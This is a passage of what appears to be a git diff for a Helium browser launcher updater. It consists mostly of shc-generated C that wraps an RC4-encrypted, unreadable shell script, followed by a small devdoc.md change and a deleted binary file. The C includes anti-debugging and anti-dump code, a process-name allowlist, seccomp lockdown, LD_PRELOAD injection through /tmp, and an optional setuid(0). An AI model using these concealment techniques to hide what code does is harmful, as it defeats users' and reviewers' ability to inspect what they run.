"\061\143\024\303\263\157\145\337\374\054\043\057\153\236\342\217" - "\046\036\246\105\203\004\342\127\317\056\267\165\147\072\130\335" - "\057\247\247\174\107\027\341\173\047\031\051\150\227\351\341\014" - "\303\377\171\116\220\177\217\146\254\136\000\055\162\375\014\072" - "\060\035\231\074\026\320\375\346\070\152\347\223\024\016\376\111" - "\120\025\145\345\164\142\165\215\177\046\312\024\172\142\217\062" - "\256\043\354\133\215\324\112\105\150\273\251\323\007\276\006\170" - "\233\354\206\056\352\223\334\215\210\146\112\272\374\112\053\030" - "\263\172\221\317\007\071\031\316\136\056\107\113\206\375\206\374" - "\007\171\053\152\372\032\017\206\253\166\310\203\375\046\217\370" - "\204\123\101\160\245\240\054\033\274\244\373\344\125\230\172\000" - "\120\357\322\350\045\334\004\074\345\145\302\025\223\303\060\226" - "\326\145\066\000\277\343\371\015\173\107\201\170\372\034\201\204" - "\020\377\272\216\304\142\251\304\346\306\112\042\241\122\107\334" - "\207\164\352\022\137\254\235\311\147\101\266\223\376\335\123\131" - "\376\213\351\140\357\047\257\325\212\170\164\145\220\073\111\055" - "\307\051\344\304\322\142\140\013\043\316\045\233\003\361\332\063" - "\334\106\302\004\353\310\272\264\141\164\076\252\047\056\347\030" - "\004\265\000\073\064\216\317\001\321\211\171\300\055\271\063\327" - "\076\134\136\224\251\111\166\063\010\042\136\325\211\173\040\314" - "\271\047\315\240\011\136\162\375\276\142\062\343\012\337\345\004" - "\153\262\070\121\252\011\122\040\165\077\271\021\133\245\054\307" - "\351\144\374\324\051\261\221\363\301\044\143\004\037\314\324\144" - "\044\325\350\205\104\206\070\356\254\376\036\354\110\052\177\211" - "\156\305\240\033\237\047\010\357\267\160\031\220\266\234\326\125" - "\066\337\105\251\207\044\017\275\365\144\027\256\120\010\214\046" - "\050\336\001\166\261\271\161\051\372\032\313\247\167\002\250\107" - "\221\146\162\314\052\177\220\315\375\316\106\277\372\170\342\360" - "\106\170\360\145\045\124\113\053\334\305\220\217\114\233\155\121" - "\064\062\201\007\105\021\201\245\005\264\114\061\126\140\221\137" - "\007\333\350\125\051\203\121\114\200\360\077\066\053\226\161\143" - "\034\162\344\203\341\375\204\315\145\110\261\037\117\045\041\010" - "\105\160\216\241\262\314\345\030\120\356\052\007\233\257\347\331" - "\200\074\306\151\017\367\374\173\207\130\261\020\004\344\011\016" - "\200\032\110\206\071\114\204\101\367\207\346\352\331\171\362\222" - "\250\330\070\031\301\350\115\337\046\114\056\273\107\072\257\170" - "\377\010\043\176\065\331\013\165\047\363\212\037\205\275\057\244" - "\100\317\255\246\053\032\157\141\251\375\277\156\222\103\166\243" - "\011\223\236\013\341\024\167\312\354\231\151\302\160\314\005\136" - "\132\034\256\066\060\145\001\130\166\042\177\264\013\103\346\361" - "\260\135\212\140\002\233\136\102\005\166\265\252\367\237\355\343" - "\064\073\036\072\076\211\314\062\000\322\212\065\001\174\314\361" - "\067\271\026\127\333\316\146\230\351\177\012\315\321\126\263\003" - "\247\150\262\340\363\123\026\320\151\161\151\224\234\236\355\177" - "\347\371\141\164\074\056\072\034\264\322\141\326\325\244\270\235" - "\377\233\262\271\137\340\123\161\133\001\150\307\275\043\200\204" - "\366\033\331\022\006\025\214\055\336\272\106\015\350\262\104\303" - "\132\315\215\317\311\164\261\246\346\232\140\232\344\076\332\203" - "\266\344\067\323\123\050\307\157\366\007\357\237\041\037\137\026" - "\127\345\316\233\220\375\137\161\164\272\263\243\100\022\275\026" - "\261\351\224\302\126\363\021\271\336\311\143\051\140\045\015\247" - "\013\114\137\347\246\142\101\340\227\225\016\165\152\364\313\160" - "\307\064\042\044\015\133\127\327\215\314\213\053\155\302\132\263" - "\063\352\234\306\361\243\162\161\120\015\267\131\262\005\231\344" - "\374\104\234\021\065\316\367\036\073\272\000\220\022\374\352\204" - "\327\311\134\271\014\343\352\001\077\276\250\071\272\214\026\003" - "\322\123\147\247\053\221\205\230\205\257\036\154\271\135\312\033" - "\360\203\356\315\065\220\145\344\130\075\356\310\351\101\260\024" - "\223\212\123\005\275\220\137\073\337\143\070\025\002\341\143\064" - "\033\225\151\335\207\142\124\254\115\334\203\001\167\164\171\124" - "\150\320\076\203\242\046\203\230\137\335\006\214\303\052\372\055" - "\042\076\243\241\024\326\373\217\157\262\010\353\300\164\271\233" - "\025\154\112\234\010\323\174\277\272\374\111\365\257\313\202\026" - "\065\130\126\041\215\310\134\276\337\161\364\236\115\166\027\244" - "\205\321\011\076\133\373\224\173\326\344\100\253\141\273\372\043" - "\140\272\076\321\235\307\046\322\212\233\012\233\070\054\377\017" - "\370\137\233\244\317\234\323\050\143\203\127\351\131\011\262\067" - "\313\031\063\135\071\140\213\031\136\064\115\075\321\175\253\151" - "\343\325\125\233\256\231\104\202\154\320\143\236\343\070\060\276" - "\261\063\304\164\103\207\302\217\071\147\163\015\206\132\130\201" - "\275\136\156\025\251\214\366\120\273\363\206\031\340\013\360\333" - "\336\010\065\076\050\362\164\277\315\211\022\360\102\026\154\307" - "\132\125\075\173\001\224\213\375\302\237\300\156\204\337\215\265" - "\252\043\256\216\073\374\164\310\371\074\072\337\346\017\366\235" - "\306\015\101\057\165\356\160\061\143\202\246\315\137\347\106\377" - "\071\033\362\105\102\010\032\031\002\107\031\320\046\020\213\377" - "\245\324\340\160\123\264\301\375\177\104\323\001\315\223\330\013" - "\304\301\207\321\176\017\005\355\306\271\170\317\026\343\157\117" - "\051\073\123\161\264\017\150\372\017\366\214\232\065\055\225\214" - "\121\210\024\356\206\355\243\020\170\273\077\330\010\370\221\345" - "\325\317\372\053\213\243\105\370\106\257\022\167\233\002\061\316" - "\015\177\105\113\100\331\110\120\262\245\372\102\271\056\363\037" - "\126\322\007\202\216\054\141\272\036\020\221\117\153\231\142\117" - "\377\006\010\250\302\227\076\214\317\124\120\372\150\331\233\025" - "\350\100\212\204\312\140\246\370\046\040\143\343\102\015\175\343" - "\270\135\140\253\142\024\166\215\025\353\312\114\100\206\376\334" - "\070\055\162\104\376\362\204\070\204\243\147\303\305\140\327\261" - "\323\137\232\350\007\275\054\221\250\012\033\145\367\220\171\173" - "\155\015\316\202\310\352\173\035\277\304\243\275\063\017\363\161" - "\055\337\231\024\056\171\267\173\266\013\205\234\260\356\203\321" - "\324\203\376\356\137\311\071\100\311\101\257\142\262\324\103\343" - "\115\107\223\053\145\111\141\364\377\072\227\077\147\362\007\265" - "\141\020\371\347\242\361\144\332\150\055\347\124\242\175\035\337" - "\324\145\361\262\114\101\112\271\167\356\245\361\373\242\077\123" - "\101\243\137\271\137\070\347\205\167\365\214\367\020\236\045\313" - "\305\265\306\032\157\272\273\210\134\315\144\225\372\313\071\310" - "\032\024\365\042\314\172\103\045\330\005\134\333\242\305\047\371" - "\226\120\001\035\360\130\054\145\374\341\053\050\226\214\146\204" - "\040\104\300\231\245\153\042\215\054\154\330\070\057\124\377\266" - "\052\005\255\056\331\003\156\114\121\177\266\220\034\031\155\342" - "\147\254\321\264\112\004\250\043\234\073\256\300\147\264\023\055" - "\020\053\240\200\361\000\261\362\300\260\110\203\116\105\307\237" - "\063\366\221\117\322\246\015\066\324\212\360\365\263\103\034\355" - "\031\047\211\123\045\123\015\275\050\236\301\135\030\106\152\307" - "\057\315\007\121\004\205\107\076\263\101\173\023\200\026\102\142" - "\041\232\352\332\333\075\371\024\120\362\336\236\172\364\004\067" - "\042\014\143\032\171\007\050\246\342\352\206\073\144\023\254\307" - "\057\216\221\164\226\317\245\372\141\107\002\334\344\330\250\300" - "\310\166\111\241\113\317\351\375\227\144\145\215\046\344\373\312" - "\141\101\177\030\240\147\312\057\060\372\300\035\175\351\377\344" - "\127\251\242\170\244\327\051\335\255\264\362\312\374\315\143\231" - "\264\257\041\312\365\054\370\365\275\016\015\345\170\306\141\277" - "\135\373\343\371\226\032\252\002\062\340\367\165\007\153\261\314" - "\307\230\152\203\202\206\020\257\230\136\014\364\357\254\332\175" - "\266\205\062\221\220\040\103\320\011\341\101\365\032\133\224\260" - "\233\350\062\211\017\321\304\051\364\106\342\371\207\157\174\262" - "\053\062\271\175\323\135\175\340\134\017\367\212\073\356\100\257" - "\307\057\341\203\021\314\123\107\322\301\353\040\222\143\265\120" - "\367\337\377\345\115\345\364\117\301\034\042\034\020\053\151\360" - "\260\217\305\222\240\266\256\046\214\165\114\064\363\350\034\242" - "\167\154\233\352\211\141\035\112\276\336\001\217\126\115\212\057" - "\273\165\142\135\262\232\237\054\330\261\225\231\154\275\075\002" - "\044\323\243\017\353\015\176\357\100\244\334\055\261\171\223\017" - "\277\100\241\010\051\002\365\005\251\334\235\372\136\222\140\317" - "\211\125\240\215\165\205\024\253\367\312\222\364\210\330\371\171" - "\055\103\325\173\227\235\016\273\053\103\013\124\302\253\077\056" - "\241\134\356\222\356\046\036\300\201\346\367\001\047\316\170\354" - "\012\312\053\112\364\017\245\066\315\250\337\120\050\301\325\175" - "\005\214\215\050\232\026\007\271\270\016\364\357\072\334\341\145" - "\200\026\040\245\225\116\156\365\362\320\046\020\040\001\101\166" - "\132\222\312\371\356\321\026\173\051\024\312\265\312\250\216\356" - "\266\075\150\237\372\114\306\166\372\072\206\004\241\030\033\236" - "\011\034\317\316\127\317\006\245\213\073\262\042\211\130\255\144" - "\076\146\333\271\220\121\174\241\101\223\255\251\311\036\331\370" - "\023\333\256\376\374\134\145\015\023\055\203\366\353\134\034\336" - "\062\223\332\354\034\314\337\041\311\141\320\305\002\030\024\171" - "\365\241\375\056\047\175\033\204\374\135\367\364\120\034\017\322" - "\040\004\073\376\340\217\116\154\052\214\054\020\101\024\347\114" - "\220\241\164\123\107\140\050\120\270\025\024\060\240\135\050\102" - "\211\077\307\102\061\357\176\366\033\300\023\356\106\047\135\373" - "\122\316\230\234\315\203\300\030\121\127\375\367\344\212\272\275" - "\362\245\364\147\174\044\002\054\321\002\273\262\202\145\023\271" - "\101\077\233\117\235\120\327\232\270\023\007\217\354\015\026\240" - "\053\136\166\106\340\241\133\343\040\224\315\025\204\034\332\112" - "\263\210\152\146\241\161\157\004\001\267\154\236\236\354\314\036" - "\236\070\243\226\004\322\344\344\143\111\027\167\100\011\174\157" - "\063\150\173\332\002\254\212\015\267\221\236\114\340\301\335\211" - "\160\337\301\336\026\256\214\105\144\213\120\220\076\207\377\153" - "\140\033\271\011\355\226\042\071\257\072\170\361\065\244\155\041" - "\277\035\016\255\123\012\241\155\215\165\346\066\347\075\350\104" - "\047\217\002\150\056\007\271\043\313\065\166\074\327\015\027\017" - "\333\317\114\060\347\127\110\223\023\336\115\327\166\057\324\040" - "\362\052\306\300\071\164\037\150\341\227\021\204\215\261\377\024" - "\074\256\104\227\337\011\261\014\241\110\115\147\227\014\242\013" - "\152\037\234\242\337\131\366\223\065\243\155\032\262\071\113\023" - "\100\310\251\254\000\055\306\240\073\022\372\002\130\151\101\054" - "\310\155\356\173\356\040\176\221\145\033\020\311\116\022\323\376" - "\306\153\126\022\153\013\075\072\055\371\033\114\177\312\055\061" - "\221\344\307\051\236\376\370\311\245\327\345\274\203\315\120\113" - "\376\161\273\251\016\207\324\150\361\055\210\235\343\177\321\021" - "\321\103\170\044\253\140\053\352\076\002\031\272\271\336\024\060" - "\357\376\010\121\077\130\120\107\356\136\357\121\060\065\276\167" - "\342\237\262\227\312\054\077\231\070\376\142\245\265\120\211\072" - "\204\273\310\346\354\104\137\062\371\024\125\223\135\014\173\314" - "\105\357\331\213\047\247\276\254\136\065\071\232\201\357\174\062" - "\054\114\330\045\251\341\265\130\262\103\227\270\062\122\301\365" - "\353\317\125\101\041\372\307\242\321\142\341\207\157\357\347\347" - "\043\300\372\250\266\056\156\232\221\133\242\220\315\370\157\247" - "\040\310\231\264\136\157\255\327\027\342\161\160\302\012\031\226" - "\003\276\363\201\033\240\027\117\160\062\160\077\232\340\065\334" - "\111\373\240\275\017\010\155\245\305\022\007\013\074\347\377\245" - "\355\224\356\331\123\070\060\362\105\141\267\200\045\035\071\362" - "\354\153\012\164\162\332\166\143\310\042\041\106\203\136\110\114" - "\025\220\013\255\066\064\221\371\146\341\333\030\146\370\202\063" - "\361\270\111\133\151\220\265\135\014\206\370\133\342\225\001\014" - "\241\365\277\043\212\206\004\356\055\241\157\150\144\231\360\223" - "\237\207\255\354\331\371\110\336\244\264\016\172\256\370\234\036" - "\260\325\210\110\101\125\351\053\353\153\362\377\133\103\246\031" - "\273\324\225\230\357\314\150\203\147\121\203\346\245\215\226\257" - "\040\221\027\074\240\325\077\252\170\326\045\333\234\254\162\265" - "\123\036\165\046\350\176\274\165\011\270\311\311\255\136\052\212" - "\147\271\057\016\271\144\236\152\166\252\266\050\221\026\272\013" - "\044\156\335\145\156\133\225\122\110\027\117\237\002\016\343\100" - "\055\106\137\131\114\346\357\070\337\312\131\223\223\137\326\027" - "\356\353\142\063\213\211\273\313\334\220\005\361\364\031\107\006" - "\177\220\110\122\224\323\270\322\377\041\041\161\244\055\205\200" - "\210\175\216\116\030\011\271\033\074\066\327\232\144\116\067\051" - "\322\310\231\145\103\010\047\021\060\352\375\310\315\220\164\003" - "\241\120\265\132\121\022\115\306\206\333\103\100\203\000\226\061" - "\357\375\153\267\176\105\252\133\163\221\221\206\154\154\306\076" - "\361\335\031\005\270\336\324\153\255\216\174\035\056\112\173\103" - "\205\060\261\205\111\365\345\024\140\012\210\112\227\273\262\165" - "\377\356\150\247\260\271\305\234\164\234\277\354\142\177\036\217" - "\162\350\005\235\217\274\324\121\245\360\324\004\133\010\360\062" - "\264\215\332\145\106\237\001\273\074\300\247\236\100\306\056\263" - "\257\063\121\076\360\045\220\226\025\144\232\161\155\213\244\041" - "\031\176\206\140\036\210\033\132\111\303\371\211\211\047\075\071" - "\133\216\167\114\264\007\342\312\154\175\074\331\010\340\373\041" - "\137\201\201\175\011\235\327\123\141\320\335\353\370\032\044\123" - "\251\233\237\135\243\202\050\017\377\144\351\007\104\344\051\244" - "\145\252\041\157\110\371\302\251\312\240\224\302\272\270\026\143" - "\124\266\301\367\070\351\007\067\115\360\077\222\324\150\066\072" - "\023\130\252\134\121\155\005\034\015\231\336\310\122\365\053\246" - "\253\355\236\343\327\245\033\044\226\132\267\152\303\356\245\327" - "\106\120\063\230\275\070\264\313\322\223\223\044\210\277\313\064" - "\254\151\027\203\016\063\250\244\216\140\017\121\116\265\051\224" - "\005\134\055\303\225\341\216\150\164\041" -#define chk1_z 22 -#define chk1 ((&data[9295])) - "\127\061\215\301\111\001\157\255\112\074\364\200\241\304\006\054" - "\307\017\037\251\120\001\166\253\121\326\200\021\320\174\272\165" -#define pswd_z 256 -#define pswd ((&data[9328])) - "\134\150\072\205\375\100\371\103\307\271\173\232\075\112\304\265" - "\134\066\363\160\224\311\107\006\023\245\271\317\115\357\312\242" - "\265\144\036\202\327\027\306\237\321\102\071\016\214\375\304\351" - "\064\267\131\310\201\240\316\224\106\210\143\224\167\056\066\055" - "\222\124\257\151\154\166\010\075\271\102\114\105\100\020\056\164" - "\310\207\074\111\050\013\335\156\224\101\003\013\157\071\070\002" - "\216\350\153\373\137\164\070\030\267\205\135\367\225\214\153\136" - "\024\250\247\074\264\205\253\110\306\256\123\066\350\214\070\167" - "\164\244\162\323\031\253\354\320\060\112\307\306\326\063\044\353" - "\333\313\047\220\120\323\330\027\202\054\115\153\270\206\342\055" - "\052\124\001\103\377\355\024\060\067\333\366\016\017\032\371\352" - "\346\041\172\067\364\123\116\167\177\234\342\070\042\304\145\115" - "\031\147\220\031\125\244\111\215\200\100\233\217\132\224\172\101" - "\266\364\170\252\110\307\042\307\144\004\377\206\311\145\324\342" - "\314\144\374\041\011\105\256\212\205\112\031\340\337\223\042\225" - "\210\233\100\320\142\142\230\307\147\227\116\060\375\042\023\311" - "\206\017\353\220\125\232\342\052\003\167\013\221\337\200\263\154" - "\176\224\304\260\041\205\371\063\125\166\355\313\201\007\120\335" - "\160\212\143\155\312\105\227" -#define chk2_z 19 -#define chk2 ((&data[9620])) - "\137\235\044\301\033\363\022\231\324\126\144\371\247\160\117\301" - "\276\105\027\336\210\344\022\011\242" -#define opts_z 1 -#define opts ((&data[9642])) - "\354" -#define shll_z 10 -#define shll ((&data[9643])) - "\026\377\006\331\065\033\265\065\054\040" -#define inlo_z 3 -#define inlo ((&data[9653])) - "\142\260\112" -#define xecc_z 15 -#define xecc ((&data[9657])) - "\360\177\155\100\273\333\214\005\140\237\121\161\006\267\337\167" - "\305" -#define lsto_z 1 -#define lsto ((&data[9673])) - "\353" -#define tst1_z 22 -#define tst1 ((&data[9678])) - "\314\146\350\211\070\236\047\267\006\211\242\131\356\055\216\352" - "\312\231\103\264\307\366\222\057\220\076"/* End of data[] */; -#define hide_z 4096 -#define SETUID 0 /* Define as 1 to call setuid(0) at start of script */ -#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */ -#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */ -#define HARDENING 0 /* Define as 1 to disable ptrace/dump the executable */ -#define BUSYBOXON 0 /* Define as 1 to enable work with busybox */ -#define MMAP2 0 /* Define as 1 to use syscall mmap2 */ - -#if HARDENING -static const char * shc_x[] = { -"/*", -" * Copyright 2019 - Intika ", -" * Replace ******** with secret read from fd 21", -" * Also change arguments location of sub commands (sh script commands)", -" * gcc -Wall -fpic -shared -o shc_secret.so shc_secret.c -ldl", -" */", -"", -"#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */", -"#define PLACEHOLDER \"********\"", -"#include ", -"#include ", -"#include ", -"#include ", -"#include ", -"#include ", -"", -"static char secret[128000]; //max size", -"typedef int (*pfi)(int, char **, char **);", -"static pfi real_main;", -"", -"// copy argv to new location", -"char **copyargs(int argc, char** argv){", -" char **newargv = malloc((argc+1)*sizeof(*argv));", -" char *from,*to;", -" int i,len;", -"", -" for(i = 0; i 0) {", -" int i;", -"", -" if (secret[n - 1] == '\\n') secret[--n] = '\\0';", -" for (i = 1; i < argc; i++)", -" if (strcmp(argv[i], PLACEHOLDER) == 0)", -" argv[i] = secret;", -" }", -"", -" real_main = main;", -"", -" return real___libc_start_main(mymain, argc, argv, init, fini, rtld_fini, stack_end);", -"}", -"", -0}; -#endif /* HARDENING */ - -/* rtc.c */ - -#include -#include - -#include -#include -#include -#include -#include -#include - -/* 'Alleged RC4' */ - -static unsigned char stte[256], indx, jndx, kndx; - -/* - * Reset arc4 stte. - */ -void stte_0(void) -{ - indx = jndx = kndx = 0; - do { - stte[indx] = indx; - } while (++indx); -} - -/* - * Set key. Can be used more than once. - */ -void key(void * str, int len) -{ - unsigned char tmp, * ptr = (unsigned char *)str; - while (len > 0) { - do { - tmp = stte[indx]; - kndx += tmp; - kndx += ptr[(int)indx % len]; - stte[indx] = stte[kndx]; - stte[kndx] = tmp; - } while (++indx); - ptr += 256; - len -= 256; - } -} - -/* - * Crypt data. - */ -void arc4(void * str, int len) -{ - unsigned char tmp, * ptr = (unsigned char *)str; - while (len > 0) { - indx++; - tmp = stte[indx]; - jndx += tmp; - stte[indx] = stte[jndx]; - stte[jndx] = tmp; - tmp += stte[indx]; - *ptr ^= stte[tmp]; - ptr++; - len--; - } -} - -/* End of ARC4 */ - -#if HARDENING - -#include -#include -#include -#include -#define PR_SET_PTRACER 0x59616d61 - -/* Seccomp Sandboxing Init */ -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#include -#include -#include - -#define ArchField offsetof(struct seccomp_data, arch) - -#define Allow(syscall) \ - BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \ - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) - -struct sock_filter filter[] = { - /* validate arch */ - BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField), - BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0), - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), - - /* load syscall */ - BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)), - - /* list of allowed syscalls */ - Allow(exit_group), /* exits a process */ - Allow(brk), /* for malloc(), inside libc */ -#if MMAP2 - Allow(mmap2), /* also for malloc() */ -#else - Allow(mmap), /* also for malloc() */ -#endif - Allow(munmap), /* for free(), inside libc */ - - /* and if we don't match above, die */ - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), -}; -struct sock_fprog filterprog = { - .len = sizeof(filter)/sizeof(filter[0]), - .filter = filter -}; - -/* Seccomp Sandboxing - Set up the restricted environment */ -void seccomp_hardening() { - if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { - perror("Could not start seccomp:"); - exit(1); - } - if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) { - perror("Could not start seccomp:"); - exit(1); - } -} -/* End Seccomp Sandboxing Init */ - -void shc_x_file() { - FILE *fp; - int line = 0; - - if ((fp = fopen("/tmp/shc_x.c", "w")) == NULL ) {exit(1); exit(1);} - for (line = 0; shc_x[line]; line++) fprintf(fp, "%s\n", shc_x[line]); - fflush(fp);fclose(fp); -} - -int make() { - char * cc, * cflags, * ldflags; - char cmd[4096]; - - cc = getenv("CC"); - if (!cc) cc = "cc"; - - sprintf(cmd, "%s %s -o %s %s", cc, "-Wall -fpic -shared", "/tmp/shc_x.so", "/tmp/shc_x.c -ldl"); - if (system(cmd)) {remove("/tmp/shc_x.c"); return -1;} - remove("/tmp/shc_x.c"); return 0; -} - -void arc4_hardrun(void * str, int len) { - //Decode locally - char tmp2[len]; - char tmp3[len+1024]; - memcpy(tmp2, str, len); - - unsigned char tmp, * ptr = (unsigned char *)tmp2; - int lentmp = len; - int pid, status; - pid = fork(); - - shc_x_file(); - if (make()) {exit(1);} - - setenv("LD_PRELOAD","/tmp/shc_x.so",1); - - if(pid==0) { - - //Start tracing to protect from dump & trace - if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { - kill(getpid(), SIGKILL); - _exit(1); - } - - //Decode Bash - while (len > 0) { - indx++; - tmp = stte[indx]; - jndx += tmp; - stte[indx] = stte[jndx]; - stte[jndx] = tmp; - tmp += stte[indx]; - *ptr ^= stte[tmp]; - ptr++; - len--; - } - - //Do the magic - sprintf(tmp3, "%s %s", "'********' 21<<<", tmp2); - - //Exec bash script //fork execl with 'sh -c' - system(tmp2); - - //Empty script variable - memcpy(tmp2, str, lentmp); - - //Clean temp - remove("/tmp/shc_x.so"); - - //Sinal to detach ptrace - ptrace(PTRACE_DETACH, 0, 0, 0); - exit(0); - } - else {wait(&status);} - - /* Seccomp Sandboxing - Start */ - seccomp_hardening(); - - exit(0); -} -#endif /* HARDENING */ - -/* - * Key with file invariants. - */ -int key_with_file(char * file) -{ - struct stat statf[1]; - struct stat control[1]; - - if (stat(file, statf) < 0) - return -1; - - /* Turn on stable fields */ - memset(control, 0, sizeof(control)); - control->st_ino = statf->st_ino; - control->st_dev = statf->st_dev; - control->st_rdev = statf->st_rdev; - control->st_uid = statf->st_uid; - control->st_gid = statf->st_gid; - control->st_size = statf->st_size; - control->st_mtime = statf->st_mtime; - control->st_ctime = statf->st_ctime; - key(control, sizeof(control)); - return 0; -} - -#if DEBUGEXEC -void debugexec(char * sh11, int argc, char ** argv) -{ - int i; - fprintf(stderr, "shll=%s\n", sh11 ? sh11 : ""); - fprintf(stderr, "argc=%d\n", argc); - if (!argv) { - fprintf(stderr, "argv=\n"); - } else { - for (i = 0; i <= argc ; i++) - fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : ""); - } -} -#endif /* DEBUGEXEC */ - -void rmarg(char ** argv, char * arg) -{ - for (; argv && *argv && *argv != arg; argv++); - for (; argv && *argv; argv++) - *argv = argv[1]; -} - -void chkenv_end(void); - -int chkenv(int argc) -{ - char buff[512]; - unsigned long mask, m; - int l, a, c; - char * string; - extern char ** environ; - - mask = (unsigned long)getpid(); - stte_0(); - key(&chkenv, (void*)&chkenv_end - (void*)&chkenv); - key(&data, sizeof(data)); - key(&mask, sizeof(mask)); - arc4(&mask, sizeof(mask)); - sprintf(buff, "x%lx", mask); - string = getenv(buff); -#if DEBUGEXEC - fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : ""); -#endif - l = strlen(buff); - if (!string) { - /* 1st */ - sprintf(&buff[l], "=%lu %d", mask, argc); - putenv(strdup(buff)); - return 0; - } - c = sscanf(string, "%lu %d%c", &m, &a, buff); - if (c == 2 && m == mask) { - /* 3rd */ - rmarg(environ, &string[-l - 1]); - return 1 + (argc - a); - } - return -1; -} - -void chkenv_end(void){} - -#if HARDENING - -static void gets_process_name(const pid_t pid, char * name) { - char procfile[BUFSIZ]; - sprintf(procfile, "/proc/%d/cmdline", pid); - FILE* f = fopen(procfile, "r"); - if (f) { - size_t size; - size = fread(name, sizeof (char), sizeof (procfile), f); - if (size > 0) { - if ('\n' == name[size - 1]) - name[size - 1] = '\0'; - } - fclose(f); - } -} - -void hardening() { - prctl(PR_SET_DUMPABLE, 0); - prctl(PR_SET_PTRACER, -1); - - int pid = getppid(); - char name[256] = {0}; - gets_process_name(pid, name); - - if ( (strcmp(name, "bash") != 0) - && (strcmp(name, "/bin/bash") != 0) - && (strcmp(name, "sh") != 0) - && (strcmp(name, "/bin/sh") != 0) - && (strcmp(name, "sudo") != 0) - && (strcmp(name, "/bin/sudo") != 0) - && (strcmp(name, "/usr/bin/sudo") != 0) - && (strcmp(name, "gksudo") != 0) - && (strcmp(name, "/bin/gksudo") != 0) - && (strcmp(name, "/usr/bin/gksudo") != 0) - && (strcmp(name, "kdesu") != 0) - && (strcmp(name, "/bin/kdesu") != 0) - && (strcmp(name, "/usr/bin/kdesu") != 0) - ) - { - printf("Operation not permitted\n"); - kill(getpid(), SIGKILL); - exit(1); - } -} - -#endif /* HARDENING */ - -#if !TRACEABLE - -#define _LINUX_SOURCE_COMPAT -#include -#include -#include -#include -#include -#include -#include - -#if !defined(PT_ATTACHEXC) /* New replacement for PT_ATTACH */ - #if !defined(PTRACE_ATTACH) && defined(PT_ATTACH) - #define PT_ATTACHEXC PT_ATTACH - #elif defined(PTRACE_ATTACH) - #define PT_ATTACHEXC PTRACE_ATTACH - #endif -#endif - -void untraceable(char * argv0) -{ - char proc[80]; - int pid, mine; - - switch(pid = fork()) { - case 0: - pid = getppid(); - /* For problematic SunOS ptrace */ -#if defined(__FreeBSD__) - sprintf(proc, "/proc/%d/mem", (int)pid); -#else - sprintf(proc, "/proc/%d/as", (int)pid); -#endif - close(0); - mine = !open(proc, O_RDWR|O_EXCL); - if (!mine && errno != EBUSY) - mine = !ptrace(PT_ATTACHEXC, pid, 0, 0); - if (mine) { - kill(pid, SIGCONT); - } else { - perror(argv0); - kill(pid, SIGKILL); - } - _exit(mine); - case -1: - break; - default: - if (pid == waitpid(pid, 0, 0)) - return; - } - perror(argv0); - _exit(1); -} -#endif /* !TRACEABLE */ - -char * xsh(int argc, char ** argv) -{ - char * scrpt; - int ret, i, j; - char ** varg; - char * me = argv[0]; - if (me == NULL) { me = getenv("_"); } - if (me == 0) { fprintf(stderr, "E: neither argv[0] nor $_ works."); exit(1); } - - ret = chkenv(argc); - stte_0(); - key(pswd, pswd_z); - arc4(msg1, msg1_z); - arc4(date, date_z); - if (date[0] && (atoll(date) 1) ? ret : 0; /* Args numbering correction */ - while (i < argc) - varg[j++] = argv[i++]; /* Main run-time arguments */ - varg[j] = 0; /* NULL terminated array */ -#if DEBUGEXEC - debugexec(shll, j, varg); -#endif - execvp(shll, varg); - return shll; -} - -int main(int argc, char ** argv) -{ -#if SETUID - setuid(0); -#endif -#if DEBUGEXEC - debugexec("main", argc, argv); -#endif -#if HARDENING - hardening(); -#endif -#if !TRACEABLE - untraceable(argv[0]); -#endif - argv[1] = xsh(argc, argv); - fprintf(stderr, "%s%s%s: %s\n", argv[0], - errno ? ": " : "", - errno ? strerror(errno) : "", - argv[1] ? argv[1] : "" - ); - return 1; -} diff --git a/devdoc.md b/devdoc.md index 3a33c1e..87e8051 100644 --- a/devdoc.md +++ b/devdoc.md @@ -28,18 +28,17 @@ - Readme updated - Documentation/Wiki updated --- - +- Shell detection added +- Alias support for fish added +- Removal process refined and adapted to fish +- Browser config backup ## Add/To Do - Architecture detection -- Set alias --> Partially - - active shell recognition missing - Roll back from backup - Config check -- Simplification (more for loops) & Clean Up - Update Readme - Make functional launcher optional -- Backup configuration ## Repo - Merge workflow diff --git a/launcher-update-helium b/launcher-update-helium deleted file mode 100755 index 8d8845e2dbcdc9d473ba189b74b7809db24a40e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 24368 zcmeIaWmr{R*EYQA4y8enl)UdIzV3>vjQ-DES(lHdG zgcht`LU#aBf=R>3!SN*Q1PmYWxJV2oS3(gWMKwyCe^Np;4#ALJ8e0A*J%QH4P)vpp zh3x*;GDuJo424mmc*qV9>Z18SsUsOm4?{8X-|<*ba@Zd<2OEWB=utbUHvIx9dH7wiTCuIRLsIefAFxa1V?r6I| zDF<2~L!lT@gDCWOgAL;TCuKpR|A~jO)1UFOh5CQyhvEOU!{n)pwlhX6{7IeB@h}t< z?;@~+>iK`$FqelOI^N&TpD_BoV<`G`AZr5ofUY%l9YYv)2&@sx<*1w*@KCuSdE2Q) zn^_gD0dl!-pDiA3%LPgO(hzcXw3ZYXa<&z4c69aj6Y!Ik6p$1b^mG#xMcOf<{XyfR z#0rHq!j!Nf40EqM_)_RJfarB;t;tc6`5BLafyV!A0RTGwKVg{IU+`Cd!Rf#NS^kS3 z=D+Fx1yA}59{U$O>@T>}U+{;2!L|N^i~VI>Q0@O)-Jbphhjjm&KL20v^uOSof5C13 